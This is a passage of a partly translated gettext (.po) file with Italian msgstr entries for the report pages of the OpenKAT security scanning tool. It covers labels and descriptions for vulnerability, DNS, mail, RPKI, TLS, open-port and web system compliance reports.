reports/report_types/aggregate_organisation_report/vulnerabilities.html\n#: reports/report_types/multi_organization_report/vulnerabilities.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Vulnerabilities\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/report_types/aggregate_organisation_report/vulnerabilities.html\nmsgid \"Vulnerabilities found are grouped per system.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/report.py\nmsgid \"Aggregate Organisation Report\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/rpki.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\nmsgid \"\"\n\"This section contains basic security information about resource public key \"\n\"infrastructure. If your web server employs RPKI for its IP addresses and \"\n\"associated nameservers, then it enhances visitor protection against \"\n\"misconfigurations and malicious route intercepts through verified route \"\n\"announcements, ensuring reliable server access and secure internet traffic.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/safe_connections.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\nmsgid \"\"\n\"In this chapter we check if the connections of all the IP ports of the \"\n\"system are safe. Safe connections are important to prevent unauthorised \"\n\"access and data breaches. Strong ciphers are crucial because they ensure \"\n\"strong encryption which protects the data from interception during \"\n\"communiction.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/summary.html\n#: reports/report_types/multi_organization_report/summary.html\n#: rocky/views/ooi_tree.py\nmsgid \"Summary\"\nmsgstr \"Sommario\"\n\n#: reports/report_types/aggregate_organisation_report/summary.html\nmsgid \"Critical Vulnerabilities\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/summary.html\nmsgid \"IPs scanned\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/summary.html\nmsgid \"Hostnames scanned\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/summary.html\nmsgid \"Terms in report\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\n#, python-format\nmsgid \"\"\n\"This table shows which checks were performed. Following that, the compliance \"\n\"issues, if any, are shown for each %(type)s Server.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\nmsgid \"Check overview\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/mail_report/report.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\n#: reports/report_types/name_server_report/report.html\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\n#: reports/report_types/web_system_report/report.html\nmsgid \"Check\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/mail_report/report.html\n#: reports/report_types/name_server_report/report.html\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\n#: reports/report_types/web_system_report/report.html\nmsgid \"Compliance\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/rpki_report/report.html\nmsgid \"IPs are compliant\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/safe_connections_report/report.html\n#: reports/report_types/vulnerability_report/report.html\nmsgid \"Host:\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/mail_report/report.html\n#: reports/report_types/name_server_report/report.html\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\n#: reports/report_types/web_system_report/report.html\nmsgid \"Compliance issue\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/mail_report/report.html\n#: reports/report_types/name_server_report/report.html\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/report_types/web_system_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/partials/report_severity_totals_table.html\n#: rocky/templates/partials/ooi_report_findings_block_table.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Risk level\"\nmsgstr \"Livello di rischio\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific_overview.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\nmsgid \"\"\n\"This is where checks are done that are specific to system types. Different \"\n\"security and compliance issues come into play for different systems. They \"\n\"are listed here under each other.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Term Overview\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"For definitions of terms used in this chapter, see the glossary below.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"\"\n\"Web servers and domains are examples of digital assets within this \"\n\"framework. Web servers are essential for hosting and serving websites or web \"\n\"applications, while domains represent the online addresses used to access \"\n\"these resources. Other examples of assets in the IT realm include databases, \"\n\"user accounts, software applications, and networking infrastructure. Asset \"\n\"management is a critical aspect of cybersecurity, involving the \"\n\"identification, classification, and protection of these assets to safeguard \"\n\"against threats and ensure the overall security and functionality of an \"\n\"organization's IT environment.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"\"\n\"Multiple hostnames that resolve to one IP address where at least one of the \"\n\"hostnames or the IP address has a declared scan level that is at least L1. \"\n\"Type systems are web servers, mail servers and name servers (DNS).\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"\"\n\"A fundamental component of the client-server model. A web server uses \"\n\"protocols like HTTP or HTTPS to facilitate communication between clients and \"\n\"the server.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"\"\n\"A mail server is a specialized software application or hardware device that \"\n\"facilitates the sending, receiving, and storage of emails within a computer \"\n\"network. Operating on the Simple Mail Transfer Protocol (SMTP) for outgoing \"\n\"messages and either Internet Message Access Protocol (IMAP) or Post Office \"\n\"Protocol (POP) for incoming messages, a mail server manages email \"\n\"communication by routing messages between users and storing them until they \"\n\"are retrieved. The server ensures the efficient and secure transfer of \"\n\"emails, handling tasks such as authentication, spam filtering, and message \"\n\"storage.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"\"\n\"A nameserver, or Domain Name System (DNS) server, is a critical component of \"\n\"the internet infrastructure responsible for translating human-readable \"\n\"domain names into IP addresses, enabling the seamless navigation of the web. \"\n\"When a user enters a domain name in a web browser, the nameserver is queried \"\n\"to obtain the corresponding IP address of the server hosting the associated \"\n\"website or service.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"\"\n\"A DICOM server, which stands for Digital Imaging and Communications in \"\n\"Medicine, is a specialized server designed for the storage, retrieval, and \"\n\"exchange of medical images and related information in the healthcare \"\n\"industry. DICOM is a widely adopted standard that ensures interoperability \"\n\"and consistency in the communication of medical images and associated data \"\n\"among different devices and systems, such as medical imaging equipment, \"\n\"picture archiving and communication systems (PACS), and radiology \"\n\"information systems (RIS). DICOM servers store and manage patient-specific \"\n\"medical images, like X-rays, CT scans, and MRIs, utilizing a standardized \"\n\"format.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/vulnerabilities.html\n#: reports/report_types/multi_organization_report/vulnerabilities.html\nmsgid \"No CVEs have been found.\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"Records found\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"\"\n\"The DNS report gives an overview of the DNS records that were found for the \"\n\"DNSZone. Additionally the security measures table shows whether or not DNS \"\n\"relating security measures are enabled.\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"\"\n\"<strong>Disclaimer:</strong> Not all DNSRecords are parsed in OpenKAT. DNS \"\n\"record types that are parsed and could be displayed in the table are:\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"All existing DNS record types can be found here:\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"Record\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"TTL\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"Data\"\nmsgstr \"Dati\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"No records have been found.\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"Security measures\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"\"\n\"The security measures table below shows which DNS relating security measures \"\n\"are enabled based on the contents of the DNS records.\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\n#: reports/templates/partials/report_ooi_list.html\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\n#: reports/templates/summary/ooi_selection.html tools/forms/ooi.py\n#: rocky/templates/partials/elements/ooi_tree_condensed_table.html\n#: rocky/templates/partials/explanations.html\n#: rocky/templates/partials/ooi_detail_related_object.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\n#: rocky/views/mixins.py\nmsgid \"Type\"\nmsgstr \"Tipo\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"Yes\"\nmsgstr \"Sì\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"No\"\nmsgstr \"No\"\n\n#: reports/report_types/dns_report/report.html\n#: reports/templates/partials/report_findings_table.html\nmsgid \"Other findings found\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"Findings information\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.py\nmsgid \"DNS Report\"\nmsgstr \"Rapporto DNS\"\n\n#: reports/report_types/dns_report/report.py\nmsgid \"\"\n\"DNS reports focus on domain name system configuration and potential \"\n\"weaknesses.\"\nmsgstr \"\"\n\n#: reports/report_types/findings_report/report.html\nmsgid \"\"\n\"The Findings Report contains information about the findings that have been \"\n\"identified for the selected asset and organization.\"\nmsgstr \"\"\n\n#: reports/report_types/findings_report/report.py\nmsgid \"Findings Report\"\nmsgstr \"\"\n\n#: reports/report_types/findings_report/report.py\nmsgid \"Shows all the finding types and their occurrences.\"\nmsgstr \"\"\n\n#: reports/report_types/ipv6_report/report.html\nmsgid \"\"\n\"The IPv6 report provides an overview of the current IPv6 status of the \"\n\"identified system. The table below shows whether the domain is reachable \"\n\"over IPv6 or not. A green compliance check is shown if this is the case. A \"\n\"grey compliance cross is shown if no IPv6 address was detected.\"\nmsgstr \"\"\n\n#: reports/report_types/ipv6_report/report.html\nmsgid \"IPv6 overview\"\nmsgstr \"\"\n\n#: reports/report_types/ipv6_report/report.html\n#: reports/report_types/systems_report/report.html\nmsgid \"Domain\"\nmsgstr \"\"\n\n#: reports/report_types/ipv6_report/report.py\nmsgid \"IPv6 Report\"\nmsgstr \"\"\n\n#: reports/report_types/ipv6_report/report.py\nmsgid \"Check whether hostnames point to IPv6 addresses.\"\nmsgstr \"\"\n\n#: reports/report_types/mail_report/report.html\nmsgid \"\"\n\"The Mail Report provides an overview of the compliance checks associated \"\n\"with email servers. The current compliance checks the presence of SPF, DKIM \"\n\"and DMARC records. The table below shows for each of these checks how many \"\n\"of the identified mail servers are compliant, and if applicable a compliance \"\n\"issue description and risk level. The risk level may be different for your \"\n\"specific environment.\"\nmsgstr \"\"\n\n#: reports/report_types/mail_report/report.html\nmsgid \"Mailserver compliance\"\nmsgstr \"\"\n\n#: reports/report_types/mail_report/report.html\nmsgid \"mailservers compliant\"\nmsgstr \"\"\n\n#: reports/report_types/mail_report/report.html\nmsgid \"No mailservers have been found on this system.\"\nmsgstr \"\"\n\n#: reports/report_types/mail_report/report.py\nmsgid \"Mail Report\"\nmsgstr \"\"\n\n#: reports/report_types/mail_report/report.py\nmsgid \"\"\n\"System specific Mail Report that focusses on IP addresses and hostnames.\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"Overview of included assets\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"Asset\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\nmsgid \"Amount\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"IP addresses\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"Domain names\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"Assets with most critical vulnerabilities\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"Vulnerability\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"Organisation\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"No vulnerabilities found.\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/basic_security_details.html\nmsgid \"Overview of safe connections\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/basic_security_details.html\n#: reports/report_types/safe_connections_report/report.html\nmsgid \"Only Safe Ciphers\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/basic_security_details.html\n#: reports/report_types/safe_connections_report/report.html\nmsgid \"services are compliant\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/basic_security_details.html\nmsgid \"System specific checks\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/ipv6.html\nmsgid \"IPv6\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/ipv6.html\nmsgid \"\"\n\"IPv6 includes improvements in security features compared to IPv4. While IPv4 \"\n\"can implement security measures, IPv6 was designed with security in mind, \"\n\"and its adoption can contribute to a more secure internet.\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/ipv6.html\nmsgid \"In total \"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/ipv6.html\nmsgid \" out of \"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/ipv6.html\nmsgid \" systems have an IPv6 connection.\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/ipv6.html\nmsgid \"Overview of IP version compliance\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/open_ports.html\nmsgid \"\"\n\"See an overview of open ports found over all systems and the services these \"\n\"systems provide.\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/open_ports.html\nmsgid \"Overview of detected open ports\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/open_ports.html\n#: reports/report_types/open_ports_report/report.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Open ports\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/open_ports.html\nmsgid \"Occurrences (IP addresses)\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/open_ports.html\n#: reports/templates/summary/service_health.html\nmsgid \"Services\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/open_ports.html\nmsgid \"No open ports found.\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/recommendations.html\nmsgid \"Overview of recommendations\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/recommendations.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Occurrence\"\nmsgstr \"Occorrenza\"\n\n#: reports/report_types/multi_organization_report/report.html\nmsgid \"No findings have been identified yet.\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/report.py\nmsgid \"Multi Organization Report\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/summary.html\nmsgid \"Best scoring security check\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/summary.html\nmsgid \"Worst scoring security check\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/vulnerabilities.html\nmsgid \"\"\n\"Vulnerabilities found are grouped per system. Here, we only consider CVE \"\n\"vulnerabilities.\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/vulnerabilities.html\nmsgid \"Vulnerabilities grouped per system\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/vulnerabilities.html\nmsgid \"total\"\nmsgstr \"\"\n\n#: reports/report_types/name_server_report/report.html\nmsgid \"\"\n\"The Name Server Report provides an overview of the compliance checks that \"\n\"were performed against the identified Domain Name Servers (DNS). The \"\n\"compliance checks verify the presence and validity of DNSSEC and whether no \"\n\"unnecessary ports were identified to be open. The table below gives an \"\n\"overview of the available checks including whether the system passed the \"\n\"performed checks. The risk level and reasoning as to why an issue was \"\n\"identified are shown too. The risk level may be different for your specific \"\n\"environment.\"\nmsgstr \"\"\n\n#: reports/report_types/name_server_report/report.html\nmsgid \"Name server compliance\"\nmsgstr \"\"\n\n#: reports/report_types/name_server_report/report.html\nmsgid \"DNSSEC Present\"\nmsgstr \"\"\n\n#: reports/report_types/name_server_report/report.html\nmsgid \"name servers compliant\"\nmsgstr \"\"\n\n#: reports/report_types/name_server_report/report.html\nmsgid \"Valid DNSSEC\"\nmsgstr \"\"\n\n#: reports/report_types/name_server_report/report.html\n#: reports/report_types/web_system_report/report.html\nmsgid \"No unnecessary ports open\"\nmsgstr \"\"\n\n#: reports/report_types/name_server_report/report.html\nmsgid \"No nameservers have been found on this system.\"\nmsgstr \"\"\n\n#: reports/report_types/name_server_report/report.py\nmsgid \"Name Server Report\"\nmsgstr \"\"\n\n#: reports/report_types/name_server_report/report.py\nmsgid \"Name Server Report checks name servers on basic security standards.\"\nmsgstr \"\"\n\n#: reports/report_types/open_ports_report/report.html\nmsgid \"\"\n\"The Open Ports Report provides an overview of the open ports identified on a \"\n\"system. The ports that are marked as <b>bold</b> were identified by direct \"\n\"scans performed by OpenKAT (such as nmap). Ports that are not marked in bold \"\n\"were identified through external services and/or scans (such as Shodan). \"\n\"Scans with the same hostnames, ports and IPs are merged.\"\nmsgstr \"\"\n\n#: reports/report_types/open_ports_report/report.html\nmsgid \"Overview of open ports found for the scanned assets\"\nmsgstr \"\"\n\n#: reports/report_types/open_ports_report/report.html\n#: reports/report_types/systems_report/report.html\nmsgid \"IP address\"\nmsgstr \"\"\n\n#: reports/report_types/open_ports_report/report.html\nmsgid \"Hostnames\"\nmsgstr \"\"\n\n#: reports/report_types/open_ports_report/report.html\nmsgid \"Direct scan\"\nmsgstr \"\"\n\n#: reports/report_types/open_ports_report/report.py\nmsgid \"Open Ports Report\"\nmsgstr \"\"\n\n#: reports/report_types/open_ports_report/report.py\nmsgid \"Find open ports of IP addresses\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"\"\n\"This section contains basic security information about Resource Public Key \"\n\"Infrastructure (RPKI). If your web server employs RPKI for its IP addresses \"\n\"and associated nameservers, then it enhances visitor protection against \"\n\"misconfigurations and malicious route intercepts through verified route \"\n\"announcements, ensuring reliable server access and secure internet traffic.\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"\"\n\"The RPKI Report shows if an RPKI route announcement was available for the \"\n\"system and if this announcement is not expired.\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"RPKI compliance\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"RPKI Available\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"RPKI valid\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"RPKI record is not valid.\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"RPKI record does not exist.\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\nmsgid \"No IPs have been found on this system.\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.py\nmsgid \"RPKI Report\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.py\nmsgid \"\"\n\"Shows whether the IP is covered by a valid RPKI ROA. For a hostname it shows \"\n\"the IP addresses and whether they are covered by a valid RPKI ROA.\"\nmsgstr \"\"\n\n#: reports/report_types/safe_connections_report/report.html\nmsgid \"\"\n\"The Safe Connections report provides an overview of the performed checks \"\n\"with regard to encrypted communication channels such as HTTPS. The table \"\n\"below gives an overview of the available checks including whether the system \"\n\"passed the performed checks. The risk level and reasoning as to why an issue \"\n\"was identified are shown too. The risk level may be different for your \"\n\"specific environment.\"\nmsgstr \"\"\n\n#: reports/report_types/safe_connections_report/report.html\nmsgid \"Safe connections compliance\"\nmsgstr \"\"\n\n#: reports/report_types/safe_connections_report/report.py\nmsgid \"Safe Connections Report\"\nmsgstr \"\"\n\n#: reports/report_types/safe_connections_report/report.py\nmsgid \"Shows whether the IPService contains safe ciphers.\"\nmsgstr \"\"\n\n#: reports/report_types/systems_report/report.html\nmsgid \"\"\n\"The System Report provides an overview of the system types (types of similar \"\n\"services) that were identified for each system. The following system types \"\n\"can be identified: DNS servers, Web servers, Mail servers and those \"\n\"classified as 'Other' servers. Each hostname and/or IP address is given one \"\n\"or more system types depending on the identified ports and services. The \"\n\"table below gives an overview of these results.\"\nmsgstr \"\"\n\n#: reports/report_types/systems_report/report.html\nmsgid \"Selected assets\"\nmsgstr \"\"\n\n#: reports/report_types/systems_report/report.html\nmsgid \"No system types have been identified on this system.\"\nmsgstr \"\"\n\n#: reports/report_types/systems_report/report.py\nmsgid \"System Report\"\nmsgstr \"\"\n\n#: reports/report_types/systems_report/report.py\nmsgid \"Combine IP addresses, hostnames and services into systems.\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"\"\n\"The TLS Report shows which TLS protocols and ciphers were identified on the \"\n\"host for the provided port.\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"\"\n\"The table below provides an overview of the identified TLS protocols and \"\n\"ciphers, including a status suggestion.\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Ciphers\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Protocol\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Encryption Algorithm\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Bits\"\nmsgstr \"Bit\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Key Size\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\n#: rocky/templates/organizations/organization_list.html\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"Code\"\nmsgstr \"Codice\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Phase out\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Good\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"\"\n\"No ciphers were found for this combination of IP address, port and service.\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"\"\n\"The list below gives an overview of the findings based on the identified TLS \"\n\"protocols and ciphers. This includes the reasoning why the cipher or \"\n\"protocol is marked as a finding.\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.py\nmsgid \"TLS Report\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.py\nmsgid \"\"\n\"TLS Report assesses the security of data encryption and transmission \"\n\"protocols.\"\nmsgstr \"\"\n\n#: reports/report_types/vulnerability_report/report.html\nmsgid \"No vulnerabilities have been found on this system.\"\nmsgstr \"\"\n\n#: reports/report_types/vulnerability_report/report.html\nmsgid \"\"\n\"The Vulnerability Report provides an overview of all identified CVE \"\n\"vulnerabilities that were identified on the selected systems. For each CVE \"\n\"the table shows the CVE scoring, the number of occurrences, and the CVE \"\n\"details.\"\nmsgstr \"\"\n\n#: reports/report_types/vulnerability_report/report.html\nmsgid \"vulnerabilities on this system\"\nmsgstr \"\"\n\n#: reports/report_types/vulnerability_report/report.html\nmsgid \"Advice\"\nmsgstr \"\"\n\n#: reports/report_types/vulnerability_report/report.py\nmsgid \"Vulnerability Report\"\nmsgstr \"\"\n\n#: reports/report_types/vulnerability_report/report.py\nmsgid \"Vulnerabilities found are grouped for each system.\"\nmsgstr \"\"\n\n#: reports/report_types/vulnerability_report/report.py\nmsgid \"First seen\"\nmsgstr \"\"\n\n#: reports/report_types/vulnerability_report/report.py\nmsgid \"Last seen\"\nmsgstr \"\"\n\n#: reports/report_types/vulnerability_report/report.py\nmsgid \"Evidence\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"\"\n\"The Web System Report provides an overview of various web server checks that \"\n\"were performed against the scanned system(s). For each performed check the \"\n\"table below shows whether or not the server is compliant with the checks. A \"\n\"description of why this compliant check failed is also shown, including an \"\n\"general risk level. The risk level may be different for your specific \"\n\"environment.\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Web system compliance\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"CSP Present\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"webservers compliant\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Secure CSP Header\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Redirects HTTP to HTTPS\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Offers HTTPS\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Has a Security.txt\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Has a certificate\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Certificate is valid\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Certificate is not expiring soon\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"No webservers have been found on this system.\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.py\nmsgid \"Web System Report\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.py\nmsgid \"Web System Reports check web systems on basic security standards.\"\nmsgstr \"\"\n\n#: reports/templates/partials/export_report_settings.html\nmsgid \"Report schedule\"\nmsgstr \"\"\n\n#: reports/templates/partials/export_report_settings.html\nmsgid \"\"\n\"When scheduling your report, you have two options. You can either choose to \"\n\"generate it just once now, or set it to run automatically at regular \"\n\"intervals, like daily, weekly, or monthly. If you need the report just for a \"\n\"single occasion, select the one-time option.\"\nmsgstr \"\"\n\n#: reports/templates/partials/export_report_settings.html\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Report name\"\nmsgstr \"\"\n\n#: reports/templates/partials/export_report_settings.html\n#, python-format, python-brace-format\nmsgid \"\"\n\"When generating reports, it is possible to give the report a name. The name \"\n\"can be static or dynamic. The default format for a report is '${report_type} \"\n\"for ${oois_count} objects'. These placeholders automatically adapt based on \"\n\"the report details. This format could for example return 'Aggregate Report \"\n\"for 15 objects'. Another placeholder that can be used is '${ooi}', which \"\n\"will show the name of the object when there is only one object. You can also \"\n\"customize the name by adding prefixes, suffixes, or other formats like '%%W' \"\n\"for the week number, using options from <a href=\\\"https://strftime.org/\\\" \"\n\"target=\\\"_blank\\\" rel=\\\"noopener\\\">Python strftime code</a>.\"\nmsgstr \"\"\n\n#: reports/templates/partials/export_report_settings.html\n#: reports/templates/partials/generate_report_header.html\n#: reports/templates/partials/new_report_action_button.html\n#: reports/views/generate_report.py\nmsgid \"Generate report\"\nmsgstr \"Genera rapporto\"\n\n#: reports/templates/partials/generate_report_header.html\nmsgid \"To generate an aggregate report, complete the following steps.\"\nmsgstr \"\"\n\n#: reports/templates/partials/generate_report_header.html\nmsgid \"To generate a multi report, complete the following steps.\"\nmsgstr \"\"\n\n#: reports/templates/partials/generate_report_header.html\nmsgid \"To generate separate report(s), complete the following steps.\"\nmsgstr \"\"\n\n#: reports/templates/partials/generate_report_sidemenu.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Table of contents\"\nmsgstr \"\"\n\n#: reports/templates/partials/new_report_action_button.html\nmsgid \"Actions for creating a new report\"\nmsgstr \"\"\n\n#: reports/templates/partials/new_report_action_button.html\nmsgid \"Separate report(s)\"\nmsgstr \"\"\n\n#: reports/templates/partials/new_report_action_button.html\n#: reports/views/aggregate_report.py\nmsgid \"Aggregate report\"\nmsgstr \"\"\n\n#: reports/templates/partials/new_report_action_button.html\n#: reports/views/multi_report.py\nmsgid \"Multi report\"\nmsgstr \"\"\n\n#: reports/templates/partials/plugin_overview_table.html\n#: reports/templates/partials/report_sidemenu.html\n#: rocky/templates/oois/ooi_page_tabs.html\nmsgid \"Overview\"\nmsgstr \"Panoramica\"\n\n#: reports/templates/partials/plugin_overview_table.html\nmsgid \"Plugin overview table\"\nmsgstr \"\"\n\n#: reports/templates/partials/plugin_overview_table.html\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Required plugins\"\nmsgstr \"\"\n\n#: reports/templates/partials/plugin_overview_table.html\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Suggested plugins\"\nmsgstr \"Plugin suggeriti\"\n\n#: reports/templates/partials/plugin_overview_table.html\nmsgid \"Action required\"\nmsgstr \"\"\n\n#: reports/templates/partials/plugin_overview_table.html\nmsgid \"Ready\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_findings_table.html\nmsgid \"\"\n\"This table provides an overview of the identified findings on the 